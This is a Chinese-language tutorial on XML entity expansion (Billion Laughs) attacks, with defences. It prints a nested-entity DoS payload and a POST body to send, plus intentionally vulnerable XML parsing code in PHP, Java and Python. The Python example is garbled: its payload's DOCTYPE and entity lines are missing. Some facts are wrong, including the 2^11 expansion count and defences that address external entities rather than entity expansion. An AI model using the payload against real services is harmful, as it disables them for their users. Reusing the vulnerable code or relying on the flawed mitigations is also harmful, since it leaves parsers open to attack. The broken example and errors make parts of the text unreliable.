什么是XML实体扩展攻击？XML实体扩展攻击代码实例有哪些？

XML实体扩展攻击又被称为Billion Laughs攻击，核心是利用XML规范中允许定义实体的特性，通过多层嵌套的实体递归引用，让解析器在解析时生成海量内容，耗尽服务器资源。这种攻击不需要获取敏感数据，仅通过构造特殊的XML payload就能让目标服务陷入无响应状态。

XML实体扩展攻击的基本原理

XML规范支持在文档类型定义（DTD）中声明实体，实体可以引用其他实体，当解析器处理包含递归实体引用的XML时，会不断展开实体内容。例如定义一个实体<!ENTITY a "test">，再定义<!ENTITY b "&a;&a;">，那么b展开后就是两个test，若按照指数级嵌套定义实体，最终展开的内容量会呈爆炸式增长。

常见的恶意DTD结构如下：

<!DOCTYPE foo [
    <!ENTITY x0 "ha">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!ENTITY x4 "&x3;&x3;">
    <!ENTITY x5 "&x4;&x4;">
    <!ENTITY x6 "&x5;&x5;">
    <!ENTITY x7 "&x6;&x6;">
    <!ENTITY x8 "&x7;&x7;">
    <!ENTITY x9 "&x8;&x8;">
    <!ENTITY x10 "&x9;&x9;">
]>

上述定义中，x10展开后会包含2的11次方个ha，随着嵌套层数增加，展开后的内容会指数级增长，最终超过服务器内存承载能力。

不同场景下的攻击代码实例

PHP场景下的攻击示例

PHP的simplexml_load_string函数默认会解析XML中的DTD，若未禁用外部实体和实体扩展，就容易受到攻击。以下是模拟攻击的测试代码：

<?php
// 模拟接收用户传入的XML数据
$inputXml = $_POST['xml_data'] ?? '';
// 未禁用实体扩展的解析逻辑，存在漏洞
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($inputXml);
if ($xml) {
    echo "XML解析成功";
} else {
    echo "XML解析失败";
}
?>

攻击者可以向接口发送如下的POST数据触发攻击：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY x0 "ha">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!ENTITY x4 "&x3;&x3;">
    <!ENTITY x5 "&x4;&x4;">
    <!ENTITY x6 "&x5;&x5;">
    <!ENTITY x7 "&x6;&x6;">
    <!ENTITY x8 "&x7;&x7;">
    <!ENTITY x9 "&x8;&x8;">
    <!ENTITY x10 "&x9;&x9;">
]>
<foo>&x10;</foo>

Java场景下的攻击示例

Java的DOM解析器默认也会处理XML实体，以下是存在风险的解析代码：

import org.w3c.dom.Document;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.ByteArrayInputStream;

public class XmlParseTest {
    public static void parseXml(String xmlContent) {
        try {
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            // 未禁用DTD和实体扩展，存在漏洞
            DocumentBuilder builder = factory.newDocumentBuilder();
            Document document = builder.parse(new ByteArrayInputStream(xmlContent.getBytes("UTF-8")));
            System.out.println("XML解析完成");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

攻击者传入的恶意XML内容和PHP场景的payload一致，解析时会触发实体展开，消耗大量内存。

Python场景下的攻击示例

Python的xml.etree.ElementTree模块在默认配置下不会解析DTD，但使用lxml库时若未做配置就容易受影响，以下是风险代码：

from lxml import etree

def parse_xml(xml_content):
    # 未禁用DTD解析，存在实体扩展风险
    parser = etree.XMLParser(resolve_entities=True)
    tree = etree.fromstring(xml_content, parser)
    print("XML解析成功")

if __name__ == "__main__":
    # 模拟恶意XML输入
    malicious_xml = """<?xml version="1.0" encoding="UTF-8"?>
    
        
        
        
        
        
        
        
        
        
        
    ]>
    &x10;"""
    parse_xml(malicious_xml)

防御XML实体扩展攻击的方法

要防范这类攻击，核心是从解析器配置层面禁用不必要的DTD处理和实体扩展，不同语言的防御方式如下：

• PHP：解析XML前调用libxml_disable_entity_loader(true)禁用外部实体加载，同时限制实体扩展的最大深度，可通过libxml_set_external_entity_loader自定义实体加载逻辑，拒绝所有实体请求。
• Java：使用DocumentBuilderFactory时，设置factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)完全禁用DTD，或者设置factory.setFeature("http://xml.org/sax/features/external-general-entities", false)禁用外部通用实体。
• Python：使用lxml时，设置XMLParser(resolve_entities=False, no_network=True)，禁止解析实体和加载网络资源；使用标准库xml.etree.ElementTree时，避免直接解析不可信的XML内容，或提前过滤DTD声明。

此外，对用户输入的XML内容做前置校验，过滤包含<!DOCTYPE、<!ENTITY等关键字的恶意内容，也能进一步降低攻击风险。

XML_entity_expansionXXEDoS修改时间：2026-06-26 17:30:24